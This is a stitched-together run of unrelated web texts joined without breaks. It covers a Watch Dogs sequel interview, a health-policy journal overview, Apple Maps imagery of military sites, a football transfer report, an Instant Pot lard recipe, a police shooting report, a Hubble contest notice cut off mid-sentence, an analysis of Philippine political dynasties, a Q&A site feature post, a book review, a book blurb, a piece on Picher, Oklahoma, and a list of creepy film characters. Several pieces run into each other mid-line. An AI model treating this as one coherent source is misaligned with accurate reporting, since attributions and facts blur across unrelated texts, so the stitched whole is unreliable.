"You can barely touch the story," Morin added. "You have many different operations which give you followers, which guide your progression." Within the story there are three "milestones" to hit which finish the game's narrative, he added, "but mathematically you can unlock everything else through co-op or free-roam".
Co-op play is a new addition to the game from its predecessor, which let players team up but only in a rather empty version of the game's open world. This time around there are fully-fledged co-op missions, although all of the game will be accessible to folk who just want a single-player experience.
"You can play the whole game by yourself, including the co-op content, although I think that'll be quite difficult," Morin laughs. "Still, there's always someone spectacular out there who can, so why not let them?
"What we're pushing for is having a seamless online, and integrating co-op into it. You can play different operations and choose to not even play the story. Activities will scale appropriately. And there is further progression so players stick around after the main story arc, if they want."
Watch Dogs 1 was scorned for its lacklustre storytelling, bland characters and gruff protagonist, whose ascent from loner hacker to loner super hacker, hidden away in a bunker full of technology was neither cool nor particularly much fun. Marcus Holloway is pretty much the opposite of all that. The follower system directly solves the issue of being a loner. Holloway is connected, and as part of DedSec works together with a network of others.
He's also young, and unlike the great majority of video game protagonists, not white. I like the fact Ubisoft has chosen to explore the background of a black character, although I want it to actually explore his background. The reveal stream made some mention of him being "profiled" in his past, and having a dislike of the police because of it. Would this be properly explored?
"We're definitely touching upon it but we want to do so via our own subjects," Morin explains. "So in Watch Dogs, it's this fact he's been profiled." Simply put, Holloway - a known hacker - was implicated for a hacking crime he didn't commit.
"Rather than the usual take on racism, one of our operations focuses on crime profiling based on colour. We have all heard examples where police wrongly profiled someone based on skin colour," he continues. "We think it's an interesting question to ask what would happen if people who did this tried to hide behind the [computer] code, who could just say - well, we just followed the code..."
"What happens when computers allow people to hide? Marcus gets very attached to that."
There's been a lot of discussion around how Ubisoft builds better games the second time around, with Assassin's Creed 2 the prime example. I'm still not sure Watch Dogs' sequel will match those genre-defining heights, but with a better story, an option to pretty much skip the story and no towers to climb, it's worth giving the benefit of the doubt.For market forces to yield lower prices and better quality, markets must have certain characteristics. Information asymmetry has long been a concern in health care, where sick patients are unlikely to have the financial or emotional wherewithal to seek out the best care at the lowest price. Recent trends of consolidation create another problem, with a narrowing of choices and outsize market power preventing markets from functioning well. This issue of Health Affairs contains a group of papers that examine health care markets.
Market Concentration
Brent Fulton provides recent estimates of market concentration among hospitals, physician organizations, and insurers. Between 2010 and 2016, hospitals and physicians continued previous trends of consolidation, while insurers did not. Notably, there was an almost 29 percent increase in the most commonly used measure of market concentration for primary care physicians.
Insurers argue that they need strong purchasing power to offset the pricing power consolidated hospitals and physicians can exercise. Richard Scheffler and Daniel Arnold find that when insurers control a larger share of the market, they are able to drive down prices for hospital services and most physician services when those providers are consolidated. The prevalence of consolidated markets leads the authors to conclude: “For a significant part of the health care system, the standard competitive model now has little relevance.”
Annabelle Fowler and colleagues explore common ownership across hospitals and providers of postacute services and hospice care. They find steady growth in these interwoven financial relationships, with almost 50 percent of acute care hospitals in 2015 having a significant investor owner in common with a provider of postacute or hospice services.
Preserving Competition
Antitrust law is the tool policy makers rely upon to assure that markets are competitive. As Thomas Greaney points out in his commentary, this tool has significant limitations. He notes that “antitrust has little to say about market power achieved by growth or accruing from past mergers that are too stale to tackle despite the fact that such firms may charge supra-competitive prices or otherwise injure consumers.”
Cory Capps and colleagues provide an empirical perspective on the limits of antitrust law. They show that physician consolidation has occurred primarily through small-scale acquisitions and growth of existing physician groups—activities that do not attract the notice of antitrust enforcement agencies.
Sherry Glied and Stuart Altman point out that “recent research in health economics suggests that the sharp distinction often drawn between competition and regulation is misplaced.” They propose policies that rely upon regulations to harness the power of competition. Richard Frank and Thomas McGuire describe how Medicare Advantage and the Affordable Care Act (ACA) Marketplaces, both highly regulated, rely upon competition among insurers to achieve the goals of lower prices and consumer choice.
Provider Networks
Many insurers offering plans on the ACA Marketplaces use narrow provider networks as a tool to hold down their prices. Leemore Dafny and colleagues set out to determine the degree to which this method has achieved its goal. They conclude that plans with narrow physician and hospital networks are priced 16 percent lower than plans with broad networks. These lower prices have saved the taxpayers money: The authors estimate that federal outlays for coverage subsidies would have been 10.8 percent higher in 2014 if all Marketplace plans had had broad networks.
Aditi Sen and colleagues examine the physician networks in plans offered through the federally facilitated ACA Marketplaces. They find that most plans included at least 25 percent of the physicians in the market. Hispanics represented one-quarter of enrollees in extra-small networks (those that included fewer than 10 percent of the physicians in the market). Jane Zhu and colleagues focus on networks of mental health care providers. While ACA Marketplace plans include, on average, about one-quarter of primary care physicians in state-level markets, they include only 11.3 percent of mental health providers.
Some consumer advocates have expressed concerns regarding the ability of narrow provider networks to meet enrollees’ needs. These studies demonstrate the complex interplay between price and access in health insurance markets.
Obstetric Care
When rural hospitals close, the effects on communities are significant. Peiyin Hung and colleagues examined how these closures affect access to obstetric care. They found that “forty-five percent (898) of rural counties did not have any hospitals with obstetric services at any point during the period 2004–14, and 9 percent (179) of the counties experienced the loss of all in-county hospital obstetric services during the study period.”
Acknowledgment
Health Affairs thanks The Commonwealth Fund, which provided funding for the studies in this issue on market concentration.Apple Maps has been called blurry, inaccurate, and unfinished, but there's one area in which the Cupertino company didn't skimp on the detail: high-security locations.
In a three-way comparison of iOS 6 Maps, Google Maps, and Nokia Maps, The Verge found that Apple paints the clearest picture of military installations that are sensitive to various countries' national interests.
Turkey has the most to complain about. Its island of Imrali counts Kurdish separatist leader Abdullah Öcalan among its high-risk inmates in a maximum security prison, and it's as clear as day on iOS 6.
Dutch military contractor IBL, deemed a "tank workshop" by the site, was also fully visible in Apple Maps when looking at Personeelsvereniging Tankwerkplaats, Netherlands.
The same is true for a vital military airstrip on the Japanese island of Minamitorishima.
Apple didn't make any exceptions for its home country, as the United States' Aberdeen Proving Ground hasn't been obscured in Maryland.
Likewise, the U.S.'s joint interests as part of NATO are outed in Geilenkirchen, Germany.
The Google Maps Difference
Google, which has provided its mapping service to the public since 2005, had made it a habit to obscure these perceived security risks for a number of years.
Blurring, pixelating, and overexposing are some the ways in which Google Maps and the Google Earth software hide sensitive locations.
But Google said that "it has never blurred any images," according to a statement to The Verge.
Instead, satellite images arrive blurred from its "variety of sources," even though the sources are often the same providers used by Apple and Nokia.
Apple is busy apologizing for iOS 6 Maps, asking for everyone's patience and suggesting third-party alternatives. Google, meanwhile, hasn't rested on its laurels, adding 45 degree imagery for 51 new cities.
This birdseye view is now available in 37 U.S. and 14 international locations. Most notably, the Google Maps update shows off the Leaning Tower of Pisa and its famous 5.5 degree angle.
Look at that lean (Credit: Google)
Not forgetting about the tried-and-true aerial imagery, Google also updated the high-resolution satellite maps for 17 cities and 112 countries.
The entire city of Lancaster, Calif. no longer shows up looking like a blurry field of nothing - a technique Apple sure could borrow for military installations worldwide if Google is done with it.
Via The Verge, GoogleGet the biggest football stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Tottenham will open talks with Everton over midfielder James McCarthy this week.
The Toffees are facing a second fight to keep one of their top players with Chelsea already determined to land defender John Stones.
Spurs are equally confident of prising McCarthy away despite boss Roberto Martinez’s insistence that he, like Stones, is not leaving.
(Image: Getty)
McCarthy is interested in a move to White Hart Lane after growing disillusioned at failed promises to improve his contract.
The 24-year-old Republic of Ireland international signed a five-year deal when he moved to Goodison Park from Wigan in 2013. But while other players have had their contracts revised, he has not.
Spurs have been keen offload their dead wood - including midfielders Paulinho, Etienne Capoue and Benjamin Stambouli - before moving for more of boss Mauricio Pochettino’s targets.
The north Londoners have already signed defenders Kieran Trippier from Burnley, Toby Alderweireld from Atletico Madrid and Kevin Wimmer from Cologne.
Midfielder Delli Alli was signed from the MK Dons back in January.If you’ve been following me for a while, you probably already know how much I value good lard from pastured pigs, as a healthy cooking fat for our family. Now that I know how to render lard in an instant pot, keeping a good supply on hand is even easier!
I’ve been rendering our own lard for several years now, and love having it on hand – especially for baking! I always used to render it in the crockpot, which is a pretty clean and easy process. It takes quite a while though – usually several hours, from start to finish.
But this year, I have an Instant Pot.
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Since it’s revolutionized my cooking methods for almost everything else that usually takes longer than 10 minutes to cook, I knew it could probably work wonders on my lard-rendering routine as well.
And it delivered. One hour lard, my friends. One hour.
Just. So. Easy. Here’s how to do it!
How to render lard in an Instant Pot
First, you’ll need to get your hands on some good raw leaf lard or fatback from a pastured pig. For tips on how to source this, and why pastured is so important, check out my post here.
Now, to get fully-rendered lard in an hour, you’ll need to either chop it finely, or grind it. Since I have a heavy-duty Kitchen Aid, with a grinding attachment, it really takes very little time to chop the fatback or leaf lard into strips, and put it through the grinder. Freezing the fat for an hour firms it up enough to make cutting into strips very easy.
If you’re working with fatback, rather than leaf lard, you may also want to trim the thick, heavy skin from the fat (if your butcher hasn’t done this already). I find it makes the grinding process MUCH faster and easier on the machine.
You can still toss those pieces of skin in the Instant Pot to render with the rest of the fat, and they’ll cook up into very crunchy treats that are absolute heaven for dogs!
If you don’t have a Kitchen Aid or meat grinder, don’t sweat. You can just chop your fat finely, and it will come out fine. After a lot of experimentation, here’s how I’ve found the timing works, based on how finely you chop your fat:
Ground, or finely chopped: 1 hour
Chopped small (1/2 inch cubes or so): 2 hours
Chopped large (1-2 inch cubes, or even a little larger): 2.5 hours
These times don’t include the time it takes for the Instant Pot to come up to pressure, which will add about 8-10 minutes to your total cooking time. And this is the version of the Instant Pot that I have, if you’re wondering.
Add your fat to the Instant Pot, along with 1/4 cup of water, and close the lid with the valve in the “closed” position.
A quick note about that 1/4 cup of water. I find that when I use my kitchen aid to finely grind the fat, with the Instant Pot model that I have, I do not need any water at all. The lard comes out beautifully both ways, but the “cracklin’s” just seem to come out more nicely without water, so this is what I generally do. That said, most folks opt for chopping fat rather than grinding it, and with the coarser chopping, the 1/4 cup of water helps prevent the “burn error” from happening on your Instant Pot. I’ve also read some speculation that the newest Instant Pot models have a more sensitive error “burn” alert than previous models. For these reasons, I do make the blanket recommendation to add water.
Now – select “Pressure Cook”, and adjust the time to 1 hour (or 2 hours for 1/2″ cubes, 2.5 hours for large cubes).
When the cooking cycle ends, allow the Instant Pot to de-pressurize – either naturally or quick-release is just fine.
Pour the melted fat and cracklings through a sieve, and save those wonderful cracklings. They make tasty treats for either people or pets!
Pour the melted lard into jars or molds to harden. I tend to use both.
About half of my lard goes into mason jars (easy for scooping!) and half gets poured into loaf pans or these silicone molds, which make blocks that are easy to store for many months in the freezer, with no loss of quality. I put them in vacuum-sealed bags, labeled with the date and amount of lard that’s in each package. I’ve stored lard for a year this way, and haven’t noticed any loss of quality at all when frozen in vacuum-sealed bags like this.
This Instant Pot seriously just keeps making my kitchen a happier place. I’ve never really minded the slow process of rendering lard all that much, especially since I’m such a fan of the finished product. BUT – with two small kids, anything that can take a long project and condense it into a start-to-finish naptime task is a winning kitchen hack as far as I’m concerned!
Happy rendering!
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Police pulled over a vehicle carrying three men on a routine traffic stop around 10:15 p.m. in the area of Second Street and Grant Avenue.
Officials said the suspects refused to comply with the officers’ instructions for about 10 minutes.
“As the officers coordinated their response and continued to try and gain the subjects’ compliance, the driver suddenly drove from the scene and attempted to evade the officers,” authorities said.
After a short pursuit, the driver stopped the car in the 100 block of North Garfield Avenue and the men bailed on foot.
One suspect was arrested after he surrendered.
The officers chased the other two suspects and a shootout ensued.
“At some point, an officer-involved shooting occurred,” said Capt. Don Aguilar from the Ventura County Sheriff’s Department. “The subject fired at the officers and the officers returned gunfire.”
Jose Zepeda Jr., 24, suffered from a fatal gunshot wound at the scene.
The other suspect suffered non-life threatening injuries and was taken to the hospital.
Alfonso Limon, 21, was shot and killed during the gunfire.
However, police are investigating if he had any connection to the pursuit.
Limon’s sister, Rebecca, said he was an innocent victim.
“He was coming home from a run with my other brother. They were walking home when they encountered the pursuit and they were caught in the middle of everything. My brother was killed that night,” she said.
Limon’s friend, Armando Delgadillo, said, “He was coming from school after exercising. Something was going on in the area. He was in the wrong place, at the wrong time.”
No officers were injured in the incident.
The shooting is being investigated by the Ventura County Sheriff’s Office, the Ventura County District Attorney’s Office and the Oxnard Police Department.A new contest called Hubble's Hidden Treasures asks amateurs around the world to search through the Hubble space telescope's vast data archives for breathtaking images. Entries must be in by May 31, 2012.
Since its launch in 1990, NASA's Hubble Space Telescope has made more than 1 million observations — and now scientists want your help to go through them all.
The telescope's operators have launched a contest called Hubble's Hidden Treasures, which asks amateur astronomers around the world to search through the telescope's huge data archives for breathtaking images that have yet to see the light of day. Call it a celestial Easter egg hunt.
To participate, find a suitable dataset in the online Hubble Legacy Archive, edit it using the provided tools and submit the finished product to the Hubble's Hidden Treasures Contest Flickr group. You could win an iPod Touch if your entry dazzles the judges, contest organizers said.
Participants can also process Hubble archive images the same way professionals do, using powerful open-source software called FITS Liberator. Entrants choosing this route can submit their |
even among party-list representatives, there are those with relatives in political posts. Examples include Jericho Nograles of PBA who is the brother of Davao City 1st District Representative Karlo Nograles, Mariano Velarde of Buhay who succeeded his brother Rene Velarde, Emmeline Aglipay-Villar of Diwa who is the wife of incumbent congressman-turned-DPWH Secretary Mark Villar, Vini Ortega of Abono who is the wife of La Union Governor Pacoy Ortega, Anna Marie Villaraza-Suarez of Alona who is the wife of incumbent Quezon Governor David Suarez and daughter in-law of incumbent minority head Danilo Suarez, and Tricia Velasco-Catera of Mata who is the sister of Marinduque Representative Lord Allan Velasco.
The data also show that the young in Congress are not a new breed of politicians, and, in fact, represent a new generation of dynasts. Many of those who are young – below 40 years old – are members of political dynasties: Mandaluyong City Representative Alexandria Gonzales who succeeded husband Neptali Gonzales, Manila 5th District Representative Amanda Christina Bagatsing who succeeded father Amado Bagatsing, Valenzuela City 1st District Representative Wes Gatchalian who is the brother of Senator Sherwin Gatchalian, Pangasinan 4th District Representative Christopher de Venecia who succeeded mother Gina de Venecia, Quirino Representative Dakila Cua who is the son of Governor Junie Cua, Cebu 1st District Representative Gerald Anthony Gullas who succeeded Eduardo Gullas, Zamboanga del Norte 1st District Representative Seth Frederick Jalosjos who is the nephew of Dapitan Mayor Rosalina Jalosjos, Camiguin Representative Xavier Jesus Romualdo who is the son of Camiguin Governor Maria Luisa Romualdo, and Lanao del Norte 1st District Representative Mohamad Khalid Dimaporo who is the son of Lanao del Norte 2nd District Representative Abdullah Dimaporo.
In the Senate, more than 50% of senators have links to political dynasties. Of the 24 senators, 13 have links: 8 have relative/s in another position, 5 succeeded a politician-relative. Eleven, meanwhile, have no links to dynasties.
House of millionaires
The House of Representatives, being the lair of political dynasties, is composed largely of rich people. Figure 8 below shows that there are two representatives in Congress who are billionaires and 6 who have a net worth in the range of P500 million-P999 million. Ironically, these two representatives who are billionaires – Michael Romero of 1-Pacman and Emmeline Aglipay-Villar of Diwa – are party-list representatives who are supposed to represent the "marginalized." The figure also shows that there are only 6 representatives who are not millionaires and that 50% of the representatives have net worths in the range of P10 million-P49 million.
The 24-member Senate (including now Foreign Secretary Alan Peter Cayetano), meanwhile, is composed of two billionaires, 4 millionaires, and 18 multimillionaires.
Again, the situation is in stark contrast to the larger reality. Data on the income structure of Filipino families show that the upper class – obviously dominant in the Philippine legislature – comprises only 0.21% or 21,700 families of the total Philippine population. The largest section of the population – 74.3% or 14 million – actually come from the lower class, not the upper class. Moreover, 20.5% or 4.05 million families can be considered poor.
All the foregoing data suggest that the current Congress, like previous Congresses, represent mostly the upper echelon of Philippine society. To this day, the Philippine Congress is not representative of the diversity that exists in Philippine society and reflects instead, only the powerful sections. It doesn't even represent the majority of the population. It is indeed ironic that the majority of "the people" are young, non-male, and lower class-poor while the "representatives of the people" are old, male, and upper class. While the legislature is technically democratic and pluralist in that its members were chosen, theoretically, through free and fair competition, in reality, its composition is limited to those of the elite. This, to me, is a perversion of pluralism.
(To be concluded)
– Rappler.comAs of the 9th of March, the banner shown to askers whose questions have attracted at least one duplicate close vote has a couple of new options:
If the author clicks the first button, they're shown a confirmation that clarifies the results of this action somewhat:
If they click "Ok", the question is instantly closed:
If, instead, they edit, they'll be offered this guidance:
...and once an edit is submitted the choice will go away until another duplicate close-vote is cast.
In just the past day, 80 questions network-wide have been closed in response to confirmation from the asker; edits by askers are up significantly as well.
We'll be monitoring the results to see if further adjustments are needed. A few open questions surrounding this change include:
Should askers be able to dismiss the banner without editing or confirming? Perhaps if the number of votes is below some threshold?
I'm posting this separately from the original feature-request to allow room for discussion and work around a bug with featured posts.Romm’s Book ‘Language Intelligence’ Insightful, Important
First there was intelligence, then came emotional intelligence. Now Joe Romm, a senior fellow at the Center for American Progress Action Fund and well-known ClimateProgress.org blogger, introduces us to the concept of language intelligence in his thoughtful new book Language Intelligence: Lessons on Persuasion from Jesus, Shakespeare, Lincoln and Lady Gaga. Romm defines language intelligence as “the ability to convince people of something by moving them both intellectually and emotionally, at both a conscious and unconscious level.” For those of us working to explain the science and impacts of climate change to the general public, the book is a reference manual for how to be a more effective communicator.
But it’s far more than just a handy how-to guide. At its heart, Language Intelligence is a fascinating history of rhetoric, what Dante called “the sweetest of all the other sciences.” As Romm details, rhetoric was evident in Homer’s 8th century classics The Iliad and The Odyssey and dates back even further — to the Five Books of Moses.
Genesis by itself is a complete rhetoric handbook, containing all the figures of speech, as we will see. The very first story of Adam and Eve reveals the dangerous power of speech. The serpent, “more subtle than any other wild creature,” beguiles Eve with deceptive language and false promises into eating from the tree of knowledge, leading to banishment from Paradise. Such are the bitter fruits of lack of language intelligence.
The figures of speech, as Romm illustrates, include: metaphors (Abraham Lincoln’s “A house divided against itself cannot stand,” is a masterful example), hyperbole (which Aristotle said is used by angry men), and chiasmus (Mae West’s famous line, “It’s not the men in my life, it’s the life in my men”).
With chapter headings like “The First Rule: Short Words Win” and “If You Don’t Repeat, You Can’t Compete,” Romm walks readers through the basics of good communication by busting myths and offering useful advice. For example:
The big myth about rhetoric is that rhetoric equals big words. If I were to wish but one point to stick with you here, it would be that short words are the best words. Short words win. Short words sell. In an era of snappy sound-bites and sexy slogans, the pitch must be pithy or the channel will be changed. “There is no more important element in the technique of rhetoric than the continual employment of the best possible word,” wrote a young Winston Churchill.
Given his day job, Romm continually connects back to the difficult task of communicating about climate change. “Those who deny the reality of climate science have made use of the best rhetorical techniques,” Romm said. “Those seeking to inform the public about the very real dangers of a warming climate will need to learn the lessons of the best communicators if they are to overcome the most well-funded disinformation campaign in history.” There’s plenty here to help scientists looking to become better communicators.
This insightful and important little book — it’s a concise 213 pages — comes at a time when, despite having more ways to communicate than ever, trust in what is being communicated stands at an all-time low. If rhetoric is king, then trust is God. And yes, that’s a metaphor.
—-
Kindle page on Amazon200 years ago, the Brothers Grimm unleashed their stories upon the world. Now the characters of the Grimms' stories walk among us, cursed by a corrupting black magic. With every day that passes, they grow more evil. More dangerous.
For 18-year-old Alice Goodenough, summer vacation was supposed to mean part-time work at the local library. But when she comes across a mysterious creature and a magic pen, she finds herself suddenly thrust into the role of the Hero. It is now her responsibility to wipe out the Corrupted once and for all. She has no choice in the matter. The Corrupted are everywhere, and only Alice can see them for what they truly are.
This book contains the first 3 episodes of the critically acclaimed series:
Episode 1: Prince Charming Must Die!
Alice Goodenough has been chosen to be the new hero, but not before undergoing a test to see if she's worthy. Shaken, confused, Alice discovers that her weapon is a magic fountain pen and her ammunition is her mind: whatever she can draw, she can create. With the help of a rabbit friend, Alice must learn the ways of the hero and discover the truth about her frightening dreams: who is the terrible creature feeding on its victims at night?
Episode 2: Happily Never After
Alice's nightmares have begun to grow more real. Terrifying man-eating rats are plaguing the city of Chicago, and it's up to Alice to figure out a way to stop them. But before she can do that, she'll have to face off with an even more dangerous enemy sent to kill her.
An enemy that has killed heroes before...
Episode 3: Revenge of the Castle Cats
After being rushed to the hospital, Alice Goodenough finds herself trapped in the worst dream imaginable: a horrible monster is hunting in the darkness, searching for its next victim: Alice. It will stop at nothing to kill her.
And that's not the worst of it. All across the city, people are growing more addicted to Castle Cats, a smartphone game created by Grayle Incorporated. And it's not just a game. The more you play, the more it controls you. Soon, Alice learns that the dwarfs who run Grayle Incorporated are watching her everywhere she goes, using human beings to spy on her.
There must be a confrontation. Sam Grayle and his brothers have to be stopped. And Alice is going to need help.
Additional features for this special edition:
- An introduction
- Two special "Lost Diaries"
- A behind-the-scenes interview
- Links to the original Grimms' Fairy TalesPicher, Oklahoma was once a thriving lead and zinc mining town producing more than any other mining town in the area. As mining operations declined, so did the population. Eventually, those left in the town realized they lived in the most toxic town in America. Today, only six families and one business remain.
Gary Linderman owns the Old Miner's Pharmacy, the last business in town. Linderman claims he will remain in Picher as long as people from the surrounding area need his help, and they do. Most of the remaining residents of surrounding areas suffer from the toxic lead exposure. A 1996 study of Picher found that 34% of the children in town had lead poisoning. A resident of nearby Miami, OK told us that while the school was still open, other teams refused to set foot on Picher's football field.
If being named the most toxic town in America by the EPA wasn't bad enough, in 2008 an F4 tornado killed six and injured 150. By 2009 residents had voted to dissolve the Picher school system and by November 2013 the municipality of Picher was officially dissolved.
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The environmental and health nightmare that is Picher and the surrounding areas is massive. Contaminated water from some 14,000 abandoned mine shafts, 70 million tons of mine tailings, and 36 million tons of mill sand and sludge make the water supply undrinkable and the removal of several feet of topsoil make most structures too unsafe to occupy (most have already been torn down).
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You can still visit Picher, if you dare. The network of mining tunnels and shafts creates a constant risk of cave ins, but the sight of this almost-ghost town is truly breathtaking.
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Photo Credits: Lead Head, Last Place Diner, No Trespassing, Watertower, Drug Free, Church & Town Overview
Plan your next adventure on Roadtrippers. Hit us up on Facebook and Twitter.Anonymous characters can be great in movies. As always, it can be messed up very easily, but when done right it can make those characters really cool as a result. There are tons of ways to use them, as well. I’m talking about the characters that are in the background, or have a non-major role in the plot, but make a large impression very quickly because of what they do, say, or look like. More specifically for this list, in a totally creepy way.
10 The Chatterer Hellraiser 2
I think we can all agree that the Cenobites are some of the creepiest dudes and dudettes around. By the first Hellraiser they seem to be old hat at torturing and maiming (and sexing up? Not sure how that pleasure/pain thing works) people who are good at puzzle boxes. We get a nice little introduction to all of them, and they all made their individual initial visual impacts: there was a chick cenobite, a fat cenobite, and the one that chatters his teeth. Uhh, what’s that about? It’s never really explained.
Anyways, along with their leader, Pinhead, they all had their individual charms (The Chatterer still being my favorite, along with the obvious, Pinhead) but they all met their match against the evil Dr. Channard and his fingers of doom. In quick succession he took out each and every one, and when they died they turned into their old human selves. Pinhead into regular looking guy, chick into human chick, fat guy into human fat guy, but what does the fucking Chatterer turn into? A little kid.
Ok, tons of assumptions to make here. What is this kids deal? Where did he get that puzzle box? Did his rich parents buy it for him as a Christmas present from the “funny-looking” vendor table on their monthly trip to India?
I think not. You know what I think? I think that this little kid was the biggest sex freak of all-time and, just like Uncle Frank, was looking to find out how far he could go by taking a private jet (mid-coke binge, explaining the chattering teeth) with his friend Miguel, to see “what’s down the rabbit hole”.
9 Mr. Brown Reservoir Dogs
What’s a list of the creepiest characters ever without Quentin Tarantino? I love Quentin Tarantino, the director, but he has this weird tendency to write himself as (or influence people to write his character as) a total creepo. If he didn’t have a name in From Dusk ’til Dawn he would be near the top of this list, but he’ll have to settle for almost near the top for his role as Mr. Brown, or, as I and everyone else called him after he said it himself, Mr. Shit. You know, because his name is brown like poop.
He starts the movie in true creep form: talking confidently to a bunch of criminal strangers, with whom he’s about to do a huge bank job, about the size of guys dicks. I’m talking a lengthy discussion, where he does approximately 90% of the talking about enormous penises, until he has to take a breath, where, thankfully, the tension is broken up by Lawrence Tierney, who can break any amount of tension by saying anything at all.
He also dies in a really weird way. Mr. Orange, Mr. White and Mr. Shit (who is driving) are fleeing from the scene when they run into the back of a car in front of them at a light. Orange and White, neither of whom were wearing seatbelts, appear to be totally fine from the collision, but Mr. Shit’s head is all bloody and he appears dazed. This doesn’t stop him from swearing and hitting the steering wheel out of frustration. Cut to about a minute later when he is apparently dead. Uhh?
Sure, Mr. Brown isn’t the creepiest guy on the planet, but consider this more of a lifetime creep achievement award for Mr. Tarantino.
8 The Cowboy Mulholland Drive
What? A creepy character in a David Lynch movie? I can’t be serious, right? Well, I am. Dead serious. Deadly serious. Deadliest serious. And this isn’t the last time you’ll see one on this list.
Mulholland Drive is one of those movies that is really hard to understand at face value, but defines itself more the more you watch it. Parts of it aren’t exactly clear, but it seems that The Cowboy is a part of Diane’s sub-conscious. I don’t want to get more involved than that, because it wouldn’t be fair to anyone who hasn’t seen the movie. He is not real, but he takes on a very mysterious role in the events that happen where he does exist.
This may sound like mumbo jumbo, but this is a Lynch movie we’re talking about, and nothing can be what it seems. The Cowboy shows up to one of the major characters in a position of absolute power, but he shows up out of nowhere, with no explanation. And he’s a cowboy. And he’s super pale. Remember that movie Powder? Well, throw Powder in a cowboy get-up and make him extra, super creepy and you’ve got The Cowboy. Oh – and another notable creepy anonymous character is the monster thing behind the diner – just what the hell is that?
7 Mom and Dad People Under the Stairs
This one is pretty self-explanatory. They live in a mansion filled with tunnels, electronic metal shutters, torture equipment, a horde of freaks, and even a daughter that they keep locked up. Best part is that they are both equally into all of these shenanigans. It’s a perfectly functioning relationship, aside from all of the laws that are being broken. Their motto is “hear no evil, see no evil, speak no evil”, and that horde of freaks I mentioned are their children, that have broken this sacred motto and been thrown under the stairs to feed on the scraps of their other victims. Oh, did I mention that they are brother and sister? Yeah, that too. They torture one resourceful kid too many, and the whole operation literally explodes in their faces.
An awesome little addendum to these two is that they were also a couple on the television series Twin Peaks, at probably around the same time. I only finished Twin Peaks a month or so ago, so it only hit me recently while watching it, that it was the same two actors playing completely different characters, but still as a couple.
This is kind of one of those underrated horror movies that isn’t particularly great but it has a lot of interesting ideas. I like when genres collide, and they were going for a fantasy horror movie with the house being some different type of world to this lost and lonely traveler, with the most obvious connection being their daughter, named Alice.
6 Peeing Guy Harold and Kumar
Let’s examine this: Jamie Kennedy, in a suit, late at night, in the middle of a forest, chooses same bush to pee on as Kumar, out of hundred of other places to pee, stares at him while doing so. I mean, I know that this was exactly what they were going for, but that does not lessen the effect of this creep, who apparently gets out of work and immediately goes to hang out in the forest and wait for someone to have to stop their car to pee, so he can join and stare at them. And did I mention he looks like Jamie Kennedy?
5 The Girl The Ninth Gate
This might be kind of a controversial pick because A. she’s a total babe, and B. she’s actually pretty cool for most of the movie. She shows up near the beginning to act as a kind of bodyguard for Johnny Depp as he gets into his crazy Satanic adventures. You don’t really know what her deal is for the entire movie, because she barely talks, but you know that there is something strange about her from her very first scene. She seems like she is a few steps ahead of everyone. All of this is the positive.
The negative? Well, she’s kind of the gatekeeper of Hell, I think. I’m sorry but I’m just not one of these people who is intrigued by checking out Hell. And I’m also not desperate enough to hook up with a gatekeeper of Hell, and hope to never be.
They leave the end of the movie pretty damn vague, with them having fire sex and her having a pretty freaky face. Depp looked like he was enjoying it well enough, though. He ends up walking into some kind of light. Is it Hell? Is it Heaven? Is it to go meet her dad to get permission to date? I’m not really sure, like I said, pretty vague, but it probably wasn’t as cool as the Three Musketeers party that they crashed the night before.
4 The Voice 12 Monkeys
The intriguing thing about The Voice from 12 Monkeys is that you don’t know it’s origin. While the plot of 12 Monkeys concerns the fate of the world, the backbone is the psyche of James Cole and the effects that time travel would have on a human body. The Voice shows up in 1990, on Cole’s initial trip back, when he is confined in a psychiatric hospital room by himself. Cole actually converses with The Voice, asking it where it comes from, and it mocks him by saying it could be a guy from the next cell, or a spy up in the vents, or even just a voice in his head (which is the most likely culprit).
Put yourself in Cole’s shoes though. Imagine, every time you’re alone some voice comes in, making fun of you and calling you Bob over and over again for some reason. And it doesn’t help that he has a voice that sounds like Shane MacGowan looks. That shit would get annoying fast.
Coincidentally, a bum shows up in a later scene that has The Voice’s…umm, voice. Which I’m sure was just put in to speculate on it not just being in his mind. That bum didn’t look like any spy I’ve ever seen though, and I would pay money to see him get into that psychiatric ward’s vent system.
3 The Derelict Hellraiser
As far as I can surmise, The Derelict’s role in the Hellraiser series is to retrieve the puzzle box after it has been discarded, so it can be sold again and the cycle can start all over again. He’s obviously not human, since he turns into a big flying monster at the end of the first movie, but he still doesn’t have enough self-respect to take a shower once in a while. The guy is the dirtiest person I’ve ever seen in my life, and I’ve hung out with anarchists. Even if you can get past the dirtiness, the guy apparently only eats crickets.
He also could, or could not be, the head that is on that death pole in Cenobite world. This guy is a jack of most trades, but being not a creep is certainly not one of them.
2 The Tall Man The Phantasm series
I think even if I met Angus Scrimm (the actor who plays The Tall Man) in real life, I would be terrified. The guy just looks like a monster. It was hilarious seeing him in Phantasm 4 (what can I say?) as the old, kindly farmer that got abducted and turned into this horrible, immortal, inter-dimensional being. He just seemed like a cool, really tall grandpa. Still, you could tell that none of it would last because this guy will ALWAYS be The Tall Man, and he will always be creepy. It’s also pretty impressive that he has become as synonymous as he is with the role and the horror community in general, since the Phantasm series is on the lower totem of the horror classic spectrum.
As far as The Tall Man’s origins, it’s kind of hard to describe. Like I said before, he used to be a farmer until his body became a conduit for the leader of a race from another dimension. They found a portal into earth, and, posing as a funeral parlor owner, he slowly kills all of the members of small towns and turns them into his army. I can’t recall if they mention how much territory they have taken over by the end of the series, but it seems like a lot. It’s a very dark series with a very dark protagonist.
1 Mystery Man Lost Highway
http://www.youtube.com/watch?v=gQwwM3dgedY
When I saw Lost Highway originally, which was probably a couple of years after it was initially released, it definitely creeped me out. The whole vibe of the movie is disorienting, which is exactly how David Lynch likes it. I won’t say I am the biggest fan of this film, and it definitely isn’t one of Lynch’s strongest, but one particular thing sticks out (besides the glorious soundtrack) and that is Robert Blake, in his last theatrical appearance as The Mystery Man. And oh, how mysterious he is.
Fred Madison shows up at his friend Andy’s big party, but he’s already not really into it because of a series of videotapes that have shown up at his house. These video tapes show someone entering Fred’s house and going through his things, the latest ones even including taping Fred and his wife as they sleep. Fred is approached by the Mystery Man, in all of his pancakey make-up glory, and proceeds to have the oddest and creepiest conversation of all-time. I’ll just let you watch…
